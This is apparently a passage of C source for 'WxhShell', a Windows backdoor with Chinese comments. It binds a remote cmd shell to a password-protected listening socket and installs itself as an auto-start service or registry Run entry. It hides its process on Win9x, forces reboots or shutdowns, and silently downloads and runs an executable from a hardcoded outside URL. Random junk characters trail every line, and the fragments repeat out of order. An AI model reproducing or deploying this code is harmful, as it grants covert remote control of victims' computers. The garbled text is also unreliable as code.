    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7$*E0  
    if(Boot(SHUTDOWN)) Tvv>9gS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r_+Vb*|Y  
    else { _7!ZnJrR  
    closesocket(wsh); P'KA-4!  
    ExitThread(0); h8/tKyr8(  
    } 8ZtJvk`  
    break; "Q@m7j)(  
    } klKUX/ g  
  // 获取shell )Xdq+$w.  
  case 's': { <X*oW".  
    CmdShell(wsh); , Q0Y} )  
    closesocket(wsh); ?`+VWa[,e  
    ExitThread(0); \GEz.Vb  
    break; :!Ci#[g  
  } OU{c| O  
  // 退出 Zh8\B)0unn  
  case 'x': { H9WYt#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P0 0G*iY~\  
    CloseIt(wsh); :Wbp|:N0  
    break; k| OM?\  
    } SPqJ [ F  
  // 离开 lw3H 8[  
  case 'q': { ;Z*rY?v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #M!u';bZ  
    closesocket(wsh); %oiF} >  
    WSACleanup(); oG)T>L[&  
    exit(1); %U{6 `m  
    break; +2MF#{ tS  
        } EMnz;/dMt  
  } 2S7 BzZ/  
  } x<I[?GT=  
3$"V,_TBZ  
  // 提示信息 G$,s.MSf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZV{C9S&  
} h[dJNawL  
  } QPm[4Fd{G  
(rFkXK4^J  
  return; faOiNR7;h  
} .6MG#N  
hTa X@=Ra  
// shell模块句柄 P4B|l:  
int CmdShell(SOCKET sock) qt9jZtx  
{ =|J*9z;  
STARTUPINFO si; c&PsT4Wh  
ZeroMemory(&si,sizeof(si)); )q{qWobS0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +mjwX?yF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A\?t^T  
PROCESS_INFORMATION ProcessInfo; gq?O}gVD  
char cmdline[]="cmd"; )VQ[}iT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UXji$|ET6  
  return 0; DOu^   
} igL5nE=n  
9Qszr=C0  
// 自身启动模式 l^I? @{W  
int StartFromService(void) ~Bl,_?CBr  
{ d>u^ 7:  
typedef struct & &CrF~  
{ _wXT9`|3  
  DWORD ExitStatus; }V ]*FCpQ  
  DWORD PebBaseAddress; L4^/O29  
  DWORD AffinityMask; i\lvxbp  
  DWORD BasePriority; ~ 6=6YP  
  ULONG UniqueProcessId; !{ *yWpZ:  
  ULONG InheritedFromUniqueProcessId; 8^EWD3N`  
}   PROCESS_BASIC_INFORMATION; i'<hT q4  
qJF'KHyU{l  
PROCNTQSIP NtQueryInformationProcess; wdj?T`4  
<e#v9=}DI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q@}SR%p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )xf(4  
2MB>NM<xO  
  HANDLE             hProcess; ajkV"~w',|  
  PROCESS_BASIC_INFORMATION pbi; 'T^MaLK  
[? "hmSJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !Gnm<|.  
  if(NULL == hInst ) return 0; $m ;p@#n  
l`~$cK!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .WSn Y71  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 41/civX>V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @F8NN\  
Pg.JI:>2Ku  
  if (!NtQueryInformationProcess) return 0; lZ5-lf4  
^XeJZkLEB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^5MM<73  
  if(!hProcess) return 0; Z:^<NdKe  
G[e,7jev  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8;`B3N7  
lI46 f  
  CloseHandle(hProcess); 7kD?xHpe  
>/Z*\6|Zx#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I!Dx)>E&  
if(hProcess==NULL) return 0; <zY#qFQ2  
V|A.M-XLv4  
HMODULE hMod; c611&  
char procName[255]; `hY%HzV=  
unsigned long cbNeeded; ~*1Z1aZ  
OqsuuE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q`K^>L1  
-hfDf{QN  
  CloseHandle(hProcess); wL3BgCxqDL  
gLSI?  
if(strstr(procName,"services")) return 1; // 以服务启动 K8KN<Q s]  
E9k%:&]vd  
  return 0; // 注册表启动 +z9BWo!{I  
} 1c/<2xO~  
i.^UkN{  
// 主模块 [qxpu{  
int StartWxhshell(LPSTR lpCmdLine) _[8JSw7  
{ 7#"y mE  
  SOCKET wsl; ;s~xS*(C  
BOOL val=TRUE; Y,mo}X<>  
  int port=0; .z$UNB(!M  
  struct sockaddr_in door; <NDV 5P  
44n41.Q]  
  if(wscfg.ws_autoins) Install(); U1 3Lsky%  
A"DGn  
port=atoi(lpCmdLine); -mO<(wfV>  
x$Wtkb0<  
if(port<=0) port=wscfg.ws_port; StR)O))I  
T__@hfT  
  WSADATA data; {|%^'lS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P{s1NorKDh  
PRYm1Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gyy4)dP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^4JK4+!Zfq  
  door.sin_family = AF_INET; P5dD&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ve a$G~[%6  
  door.sin_port = htons(port); s%#u)nw19  
 eJ[+3Wh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #6y fIvap  
closesocket(wsl); j$u  
return 1; cjLA7I.O  
} %"E!E1_Sv  
x `%x f  
  if(listen(wsl,2) == INVALID_SOCKET) { HWL? doM  
closesocket(wsl); Q[!?SSX%  
return 1; 2 =>3B  
} Efd@\m:~>  
  Wxhshell(wsl); bLg gh]Fh  
  WSACleanup(); RXWdqaENx  
+5GC?cW  
return 0; 't \sXN+1  
j9%vw.3b  
} vl`St$$|  
s }^W2  
// 以NT服务方式启动 1 j|XC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ldKLTO*&  
{ tuo'Uk)  
DWORD   status = 0; }6__E;h#J  
  DWORD   specificError = 0xfffffff; !cO<N~0*5x  
>^f]Lgp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;$r!eFY;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s BuXw a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; naY#`xig  
  serviceStatus.dwWin32ExitCode     = 0; fhHTp_u)2  
  serviceStatus.dwServiceSpecificExitCode = 0; #KLW&A  
  serviceStatus.dwCheckPoint       = 0; }V+&o\4  
  serviceStatus.dwWaitHint       = 0; r_V^sX  
y+.(E-g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &9n=!S'Md  
  if (hServiceStatusHandle==0) return; |L)qH"Eo  
*; 6LX  
status = GetLastError(); XOZ@ek)LY  
  if (status!=NO_ERROR) 0w$1Yx~C  
{ NC x)zJ\S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !NhVPb,  
    serviceStatus.dwCheckPoint       = 0; mndNkK5o  
    serviceStatus.dwWaitHint       = 0; wD<W'K   
    serviceStatus.dwWin32ExitCode     = status; Z3 na.>Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; yA<\?Ps  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Dm$:),^T}  
    return; N1]P3  
  } ~HX'8\5  
G7HvA46  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tH4+S?PI  
  serviceStatus.dwCheckPoint       = 0; <*4r6UFR  
  serviceStatus.dwWaitHint       = 0; h`:gMhn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 74~ %4  
} Xu[A,6  
o l+*Oe  
// 处理NT服务事件,比如:启动、停止 Oyjhc<6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4Cf.%f9@  
{ f:A1j\A?  
switch(fdwControl) 5bprhq-7  
{ k?Iq 6  
case SERVICE_CONTROL_STOP: 0~nub  
  serviceStatus.dwWin32ExitCode = 0; MJ@PAwv"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R?kyJ4S  
  serviceStatus.dwCheckPoint   = 0; Qb1hk*$=  
  serviceStatus.dwWaitHint     = 0; #$-`+P  
  { H[iR8<rhQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KQrG|<J  
  }  !*-|s}e  
  return; T C._kAm  
case SERVICE_CONTROL_PAUSE: ;[j)g,7{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]A:G>K  
  break; 5SHZRF(. 2  
case SERVICE_CONTROL_CONTINUE: 5q.)K f+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zAd%dbU|  
  break; )>^!X$`3  
case SERVICE_CONTROL_INTERROGATE: "[\TL#/  
  break; ?xCWg.#l4V  
}; #6Fc-ysk:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 140_WV?7  
} ygTc Y  
]AB4w+6!  
// 标准应用程序主函数 @avG*Mr^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n]WVT@  
{ vF$sVu|B  
E$E #c8I:  
// 获取操作系统版本 fUS1`  
OsIsNt=GetOsVer(); [`|gj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q!8aYw+c  
Fpy-? U  
  // 从命令行安装 *Ag,/Cm]  
  if(strpbrk(lpCmdLine,"iI")) Install(); q{+Pf/M5  
A>J,Bi  
  // 下载执行文件 a.s5>:Ct  
if(wscfg.ws_downexe) { >iI-Cs7TD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f5&K=4khn  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,9~2#[|lq  
} _B^Q;54c  
X?OH//co  
if(!OsIsNt) { .0'FW!;FV  
// 如果时win9x,隐藏进程并且设置为注册表启动 =$Sd2UD  
HideProc(); Q)\4  .d  
StartWxhshell(lpCmdLine); p6W|4_a?  
} lH 1gWe  
else _air'XQ&!  
  if(StartFromService()) 7,EdJ[CR$  
  // 以服务方式启动 Ya-kM UW  
  StartServiceCtrlDispatcher(DispatchTable); I=9sTR)  
else 9g`o+U{  
  // 普通方式启动 [I5}q&  
  StartWxhshell(lpCmdLine); 5Ls ][l7  
UrEfFtH'  
return 0; rl](0"Y0 t  
} 6Y&`mgMF'  
P jh3=Dr  
5Z*6,P0  
% (x9~"  
=========================================== 4jdP3Q/  
yk&PJ;%O<  
ppK`7J>Z  
v<t r1cUT  
jkfc=O6^  
RD0=\!w*5  
" Y4I;-&d's  
58o'Q  
#include <stdio.h> jLv8K  
#include <string.h> &Z 6s\r%  
#include <windows.h> tkKiuh?m  
#include <winsock2.h> xy[aZr  
#include <winsvc.h> K+ @R [  
#include <urlmon.h> Q6rvTV'vv  
R*r;`x  
#pragma comment (lib, "Ws2_32.lib") @pO2A6 Ks  
#pragma comment (lib, "urlmon.lib") 4|Ay;}X \  
#8qhl  
#define MAX_USER   100 // 最大客户端连接数 U/9_:  
#define BUF_SOCK   200 // sock buffer h@yn0CU3.  
#define KEY_BUFF   255 // 输入 buffer :pvJpu$]  
?_nbaFQK3  
#define REBOOT     0   // 重启 b]k9c1x  
#define SHUTDOWN   1   // 关机 ^n&_JQIXb  
/m CE=  
#define DEF_PORT   5000 // 监听端口 EN;s 8sC!  
=WM^i86  
#define REG_LEN     16   // 注册表键长度 5V@c~1\  
#define SVC_LEN     80   // NT服务名长度 'j(F=9)  
'Uu!K!  
// 从dll定义API )4e?-?bK!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AS'%Md&I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XsbYWJdds  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `A ^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ME.a * v  
6,a:s:$>}R  
// wxhshell配置信息 dh S7}n  
struct WSCFG { xY>@GSO1  
  int ws_port;         // 监听端口 rc`}QoB)R  
  char ws_passstr[REG_LEN]; // 口令 _UGR+0'Q\  
  int ws_autoins;       // 安装标记, 1=yes 0=no z~(3S8$  
  char ws_regname[REG_LEN]; // 注册表键名 H?_>wQj&  
  char ws_svcname[REG_LEN]; // 服务名 sFV&e->AN\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xTg=oq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5L\&"['  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~EtwX YkRZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k{ ~0BK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x7ZaI{    
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7]H<ou  
1s/548wu  
}; 1Y'NG<d _  
mLm?yb:  
// default Wxhshell configuration B-UsMO  
struct WSCFG wscfg={DEF_PORT, Fj4>)!^kM  
    "xuhuanlingzhe", Ake@krh>$  
    1, Yhte&,D"  
    "Wxhshell", f9D01R fo  
    "Wxhshell", +h08uo5c  
            "WxhShell Service", 5.d[C/pRw  
    "Wrsky Windows CmdShell Service", ]:59c{O  
    "Please Input Your Password: ", 6 :] N%  
  1, 3KkfQ{  
  "http://www.wrsky.com/wxhshell.exe", Z[oEW>_A  
  "Wxhshell.exe" .h7s.p?  
    }; $/++afi m  
t'v t'[~,U  
// 消息定义模块 /|1p7{km  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xzm]v9k&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2 }r=DAe0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lmvp,BzC  
char *msg_ws_ext="\n\rExit."; ?m |}}a  
char *msg_ws_end="\n\rQuit."; - {QU>`2  
char *msg_ws_boot="\n\rReboot..."; [@vz0!@s5  
char *msg_ws_poff="\n\rShutdown..."; G@[8P?M=Z  
char *msg_ws_down="\n\rSave to "; -3EQRqVg  
qd*}d)!  
char *msg_ws_err="\n\rErr!"; ~#A}=, 4>  
char *msg_ws_ok="\n\rOK!"; _rT\?//B  
H\67Pd(Z6  
char ExeFile[MAX_PATH]; N{;!xI v  
int nUser = 0; cz>,sz~i  
HANDLE handles[MAX_USER]; F4EAC|Y  
int OsIsNt; r~t`H*C)}  
"is(  
SERVICE_STATUS       serviceStatus; n/+X3JJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FzT.9Vz7  
EKwQ$?I  
// 函数声明 +I3jI <  
int Install(void); )'_[R@ThB  
int Uninstall(void); eqo0{e  
int DownloadFile(char *sURL, SOCKET wsh); >lQo _p(;  
int Boot(int flag); n~N>;m P  
void HideProc(void); ef5)z}B   
int GetOsVer(void); CLR1 CGnn7  
int Wxhshell(SOCKET wsl); zM9#1^X  
void TalkWithClient(void *cs); B$4*U"tk  
int CmdShell(SOCKET sock); N:1aDr;  
int StartFromService(void); -8TJ:#|N  
int StartWxhshell(LPSTR lpCmdLine); pP. _%5  
Mt[yY|Ec|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BG>Y[u\N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6>>; fy2  
CRb8WD6.  
// 数据结构和表定义 bx0.(Nv/X  
SERVICE_TABLE_ENTRY DispatchTable[] = 3db{Tcn\@]  
{ {VgE0 7r  
{wscfg.ws_svcname, NTServiceMain}, jEc_!Q  
{NULL, NULL} J1?;'  
}; ;O"?6d0  
{ZJO5*  
// 自我安装 bz4Gzp'6k  
int Install(void) d+9V% T  
{ LD$5KaOW  
  char svExeFile[MAX_PATH]; $@g]?*L:  
  HKEY key; 7=G 2sOC  
  strcpy(svExeFile,ExeFile); hnnB4]c  
gD,&TW  
// 如果是win9x系统,修改注册表设为自启动 54 lD+%E  
if(!OsIsNt) {  (I[_}l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6#=jF[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %( )d$.F  
  RegCloseKey(key); X8Z?G,[H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :ym?]EL4o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P"YdB|I  
  RegCloseKey(key); ]z'&oz  
  return 0;  q6 CrUn  
    } BZq#OA p  
  } dbp\tWaW  
} ("$/sT  
else {  N5 ME_)  
a)_3r]sv^  
// 如果是NT以上系统,安装为系统服务 })g<I+]Hf9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?Oyo /?/  
if (schSCManager!=0) Ayz*2 N`%  
{ LUOjaX  
  SC_HANDLE schService = CreateService ]\E"oZ  
  ( ]a $6QS  
  schSCManager, ;kFD769DLw  
  wscfg.ws_svcname, AIF ?>wgq  
  wscfg.ws_svcdisp, s :vNr@TS  
  SERVICE_ALL_ACCESS, inh0p^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y(Q 0m|3P  
  SERVICE_AUTO_START, 'jev1u[  
  SERVICE_ERROR_NORMAL, *"%TAe7?~+  
  svExeFile, 6h 0qtXn-  
  NULL, uP~,]ci7  
  NULL, Kv_2=]H  
  NULL, Sj+H{xJi  
  NULL, +m=b "g  
  NULL A8{jEJ=)P  
  ); Xs03..S  
  if (schService!=0) ]so/AdT9hA  
  { 1d^~KBfv  
  CloseServiceHandle(schService); Z8v\>@?5R  
  CloseServiceHandle(schSCManager); #s)f3HU>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <Q[%:LD  
  strcat(svExeFile,wscfg.ws_svcname); |t,sK aL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lg:1zC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <)qa{,GX\  
  RegCloseKey(key); P,v7twc0M  
  return 0; L+t / E`  
    } #S>N}<>  
  } g2OnLEF]s  
  CloseServiceHandle(schSCManager); pdu1 kL  
} ;jP sS^X  
} {^]qaQ[5N  
pb!2G/,.[  
return 1; N,`@Q7  
} 7nt(Rtbsu  
;,y_^-h;  
// 自我卸载 5Tsz|k  
int Uninstall(void) 1[P}D~ nQ  
{  \XDiw~0  
  HKEY key; {`HbpM<=m]  
n:AZ(f   
if(!OsIsNt) { SSe;&Jk2d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :ez76oGyc  
  RegDeleteValue(key,wscfg.ws_regname); 6 AO(A *  
  RegCloseKey(key); [^"}jbn/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <bcf"0A  
  RegDeleteValue(key,wscfg.ws_regname); qlhc"}5x }  
  RegCloseKey(key); g[cnaS|?  
  return 0; 4LSs WO<@  
  } }T_"Vg q  
} #}Qe{4L  
} 5BrN uR$  
else { \`.v8C>vG  
1^_W[+<S/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &dB@n15'A  
if (schSCManager!=0) f2.=1)u.  
{ B:>:$LIL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )xp3 ElH  
  if (schService!=0) WUS%4LL(  
  { ximVh}'a  
  if(DeleteService(schService)!=0) { g0f4>m  
  CloseServiceHandle(schService); .7.G}z1  
  CloseServiceHandle(schSCManager); &Wy>t8DIK  
  return 0; ^"Bhp:o2  
  } o0Teect=  
  CloseServiceHandle(schService); S{llpp{E  
  } @ 5d^ C  
  CloseServiceHandle(schSCManager); gY+d[3N  
} (-ELxshd  
} @@ j\OR  
\7\sx:!$  
return 1; h<L_ =)lH  
} Up Z 9g"  
+*OAClt+]  
// 从指定url下载文件 [kJ;Uxncz~  
int DownloadFile(char *sURL, SOCKET wsh) we}xGb.u  
{ "%K'~"S#Q,  
  HRESULT hr; V;^-EWNj  
char seps[]= "/"; hq"n RH  
char *token; =LGM[Z3$s  
char *file; pZ Uy (  
char myURL[MAX_PATH]; Fs >MFj  
char myFILE[MAX_PATH]; H2iIBGu|L  
"tT4Cb3  
strcpy(myURL,sURL); ,b^Y8_ltoT  
  token=strtok(myURL,seps); } ew{WD  
  while(token!=NULL) Tkr~)2,(I!  
  { UhR^Y{W5  
    file=token; )P? 0YC  
  token=strtok(NULL,seps); h~QQ-  
  } Uhu?G0>O  
&%v*%{|j  
GetCurrentDirectory(MAX_PATH,myFILE); O0y0'P-rJq  
strcat(myFILE, "\\"); Wrbv<8}%c  
strcat(myFILE, file); ~M7X]  
  send(wsh,myFILE,strlen(myFILE),0); R;,5LS&*a  
send(wsh,"...",3,0); J+CGhk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9t`yv@.>N  
  if(hr==S_OK) ql%K+4@  
return 0; <IU   
else NI/'SMj%  
return 1; ?i_2ueVR  
bv41et+Kb  
} zM8 jjB  
|5(CzXR]  
// 系统电源模块 };r EN`L  
int Boot(int flag) }A6z%|d  
{ "#36-  
  HANDLE hToken; E*R-Dno_F  
  TOKEN_PRIVILEGES tkp; g[y&GCKY!=  
uD{^1c3x  
  if(OsIsNt) { 5~>j98K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UQhD8Z'I.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?AO=)XV2  
    tkp.PrivilegeCount = 1; F)=<|,b1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A+Bq5mik  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s o: o b}  
if(flag==REBOOT) { zn'Mi:O'p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jn]l!nm  
  return 0; 8xj_)=(sV!  
} @Nm{H  
else { Dd OK&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W-D4" G@  
  return 0; =C#z Px,  
} 7u1o>a %9  
  } ?y%Mm09  
  else { ?mi}S${g  
if(flag==REBOOT) { TJcHqzcUc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b;`MHEzw&q  
  return 0; ko{&~   
} "<L9-vb  
else { "SKv'*\b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [ P*L`F  
  return 0; / H GPy  
} yp hd'Pu"  
} rWL&-AZQl  
# b3 14  
return 1; ()Img.TIt  
} }PMlG  
<0/)v J- 9  
// win9x进程隐藏模块 5:~ zlg  
void HideProc(void) Kk% I N9  
{ ?Rh[S  
1"l48NLL|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mphs^k< Z  
  if ( hKernel != NULL ) %~<F7qB  
  { |>JRJ"CFE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5uM`4xkj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1LmbXH]%  
    FreeLibrary(hKernel); Fe2iG-ec  
  } <P5 7s+JK  
%u?A>$Jn  
return; M\08 7k  
} 0b=00./o  
}.A \;FDyj  
// 获取操作系统版本 pW<l9W  
int GetOsVer(void) Z%{`j!!p  
{ L3S29-T  
  OSVERSIONINFO winfo; LD;! s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m.yt?`  
  GetVersionEx(&winfo); C9%A?'`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tv9 R$-cJ  
  return 1; gue~aqtJ  
  else -+Ox/>k  
  return 0; \NL*$SnxP  
} ZjgfkZAS  
ZyrVv\'  
// 客户端句柄模块 .UUT@ w?  
int Wxhshell(SOCKET wsl) UotLJa  
{ `! )^g/>0i  
  SOCKET wsh; K!tM "`a  
  struct sockaddr_in client; ;C5 J ^xHI  
  DWORD myID; F,xFeq$/{  
8J0#lu  
  while(nUser<MAX_USER) )4FW~o<i  
{ pq,8z= Uf  
  int nSize=sizeof(client);  )jH|j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =nUzBL%~  
  if(wsh==INVALID_SOCKET) return 1; %hA0  
ov Wm}!r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nhB.>ReAi  
if(handles[nUser]==0) -aM7>YR  
  closesocket(wsh); !h+VbZ  
else 810uxw{\  
  nUser++; MJcWX|(y  
  } u/HNXJ7M`9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e~G um  
)VkH':yCM  
  return 0; !?GW<Rh  
} s,8g^aF4  
M~*o =t  
// 关闭 socket :w26d-QR(  
void CloseIt(SOCKET wsh) kO' NT:  
{ ,z|g b]\  
closesocket(wsh); 9y*pn|A[F  
nUser--; KiMEd373-  
ExitThread(0); cD9axlJ  
} NfXEW-  
O.'\GM  
// 客户端请求句柄 x|A{|oFC  
void TalkWithClient(void *cs) X/<Q3AK  
{ -Z&9pI(3R~  
LVNJlRK  
  SOCKET wsh=(SOCKET)cs; @l@erCw@  
  char pwd[SVC_LEN]; =.6JvX<d1*  
  char cmd[KEY_BUFF]; ; Ne|H$N  
char chr[1]; Mzj|57:gx  
int i,j;  uzaD K  
+IbQVU~/  
  while (nUser < MAX_USER) { J+f*D+x1  
(-hGb:  
if(wscfg.ws_passstr) { L%0G >2x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3W"l}.&ZJ"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \WZ]'o6  
  //ZeroMemory(pwd,KEY_BUFF); Wt9'-"c  
      i=0; nQ^ c{Bm:  
  while(i<SVC_LEN) { $g]'$PB  
y[I)hSD=  
  // 设置超时 >Ef{e6  
  fd_set FdRead; T8-,t];i  
  struct timeval TimeOut; SR*KZ1U  
  FD_ZERO(&FdRead); {|/y/xYgy'  
  FD_SET(wsh,&FdRead); ibQN pIz  
  TimeOut.tv_sec=8; \[W)[mH_  
  TimeOut.tv_usec=0; /nVGr]t_pj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  @1O.;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u%I |os]  
>sm<$'vZ/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #m36p+U  
  pwd=chr[0]; 3.<E{E!F  
  if(chr[0]==0xd || chr[0]==0xa) {  nypG  
  pwd=0; !t!\b9=  
  break; \ 3HB  
  } 5.zv0tJku  
  i++; ,K~r':ht  
    } OCN@P+L3q  
db0]D\  
  // 如果是非法用户,关闭 socket Eao^/MKx-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >`=<(8bu  
} \9T /%[r#  
_"688u'88  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); We?cRb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dE ]yb|Ld  
A4hbh$  
while(1) { .<kbYo:MV  
fH*1.0f]6  
  ZeroMemory(cmd,KEY_BUFF); }>< v7  
jltW@co2sV  
      // 自动支持客户端 telnet标准   b,):&M~p  
  j=0; `T(T]^C98  
  while(j<KEY_BUFF) { UTR`jXCg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r%UsUj  
  cmd[j]=chr[0]; w-wap  
  if(chr[0]==0xa || chr[0]==0xd) { d}--}&r  
  cmd[j]=0; t?;\'  
  break; 9HBRWh6  
  } s?~lMm' !  
  j++; r0(*]K:.  
    } {?hpW+1,#  
K4K]oT  
  // 下载文件 tiQeON-Q_  
  if(strstr(cmd,"http://")) { c@Q&i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K0C3s  
  if(DownloadFile(cmd,wsh)) {dXmSuO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b  >x03%  
